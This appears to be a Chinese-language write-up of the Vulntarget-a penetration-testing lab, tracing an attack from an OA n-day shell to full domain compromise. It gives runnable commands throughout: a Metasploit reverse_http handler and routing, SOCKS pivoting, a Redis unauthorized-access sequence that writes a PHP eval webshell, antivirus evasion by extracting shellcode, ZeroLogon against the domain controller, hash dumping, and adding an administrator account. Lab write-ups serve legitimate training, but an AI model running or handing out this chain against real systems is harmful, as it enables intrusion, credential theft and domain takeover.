Vulntarget-a
1 打点
通达OA,用n day拿shell
目标存在两个网段
tasklist /svc
判断不存在杀软,上传大马
2 简单权限维持
本身是system权限,不需要做提权,通过进程注入、注册服务做个简单权限维持。
3 内网信息收集
使用Ladon进行内网存活主机探测
挂马的主机内网ip是10.0.20.98
,发现另一台存在域环境的主机10.0.20.99
,系统为win 2016 datacenter 14393
扫下端口,发现开了HTTP,SMB,Redis三个服务,挨个看看
通过CS的SOCKS代理,访问HTTP,啥也没有(CS自带的代理不稳定,推荐使用独立的代理工具)
将会话派生到msf,探测是否存在ms17-010
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 99
exploit
用foreign/reverse_http
创建一个listener
,ip和端口填msf的ip和端口,然后spawn过去就可以了
添加路由
run get_local_subnets #查看网段/子网
run autoroute -s 192.168.52.0/24 #添加路由
run autoroute -p #查看路由
background #转入后台运行
漏洞探测
use auxiliary/scanner/smb/smb_ms17_010
,设置目标ip,运行,发现不存在ms17-010漏洞
redis在内网,直接访问不到,用派生到msf的会话起个代理
use auxiliary/server/socks_proxy
set version 5 # socks5
set srvport 12222 # 端口
run
然后用proxychains来访问,访问10.0.20.99:80
,显示Hello World
,与之前访问页面内容一致,说明代理可用
连接redis
查看redis配置,发现其配置文件目录
4 上线域内主机
梳理一下现在拿到的信息:
- ip: 10.0.20.99
- 开启了web服务
- redis未授权
- 目标为windows 2016 datacenter
思路很清晰,写个shell上去,先看看是什么语言的后端,通过响应头发现是PHP
扫描目录看看,用proxychains
+dirsearch
,发现存在phpinfo.php
,
用msf的代理访问,搜索document_root
,拿到web目录
接下来通过redis未授权写shell
10.0.20.99:6379> config set dir C:/phpStudy/PHPTutorial/WWW
OK
10.0.20.99:6379> config set dbfilename x.php
OK
(0.95s)
10.0.20.99:6379> set a "<?php @eval($_POST['x']);?>"
OK
(2.02s)
10.0.20.99:6379> save
OK
(0.87s)
访问,webshell已上传
在蚁剑中添加代理AntSword
->代理设置
添加shell,连接成功,直接系统权限,方便很多
看了下,有杀软
pivot listener
只有可执行,没有shellcode,无法免杀,目标有杀软,所以需要想办法获取到pivot listener
的shellcode来做免杀
通过web-delivery
,选择pivot listener
,语言随便选一个,访问挂着马的url,下载到本地,把里面的shellcode
拿出来,base64
解码,进行免杀
上传,上线(大文件上传可以使用冰蝎或者哥斯拉)
5 横向移动
信息收集-找域控
dcwin2019.vulntarget.com
,10.0.10.110
下面用ZeroLogon
打DC,需要搭代理,这里使用pystinger
,将proxy.php
和stinger_server.exe
上传到WIN2016
启动服务端:start stinger_server.exe
(不能直接运行,会将会话卡死)
将stinger_client.exe
上传到vps,使用一级代理启动客户端proxychains stinger_client.exe -w http://10.0.20.99/proxy.php -l 0.0.0.0 -p 60000
到这二级代理就启动成功了,在0.0.0.0:60000
端口,后续使用该二级代理完成,代理逻辑如下:
vps <----一级代理----> WIN7 <--- 二级代理 ---> WIN2016 <--- 访问 ---> WIN2019
vps <----一级代理----> WIN7 <---- 访问 ---> WIN2016
vps <---- 访问 ----> WIN7
WIN7 : 外网 + 10.0.20.0/24
WIN2016: 10.0.20.0/24 + 10.0.10.0/24
WIN2019: 10.0.10.0/24
用 CVE-2020-1472
将WIN2019$
密码置空,然后用secretsdump
dump域控中的hash,拿到管理员的NTLM hash
使用smbexec
拿到shell(报错可通过添加参数'--codec gbk'
解决
添加账号,添加组
net user add <username> <p@ssw0rD>(密码有复杂度要求) /add
net localgroup administrators <username> /add
使用linux下的remmina
通过代理连接rdp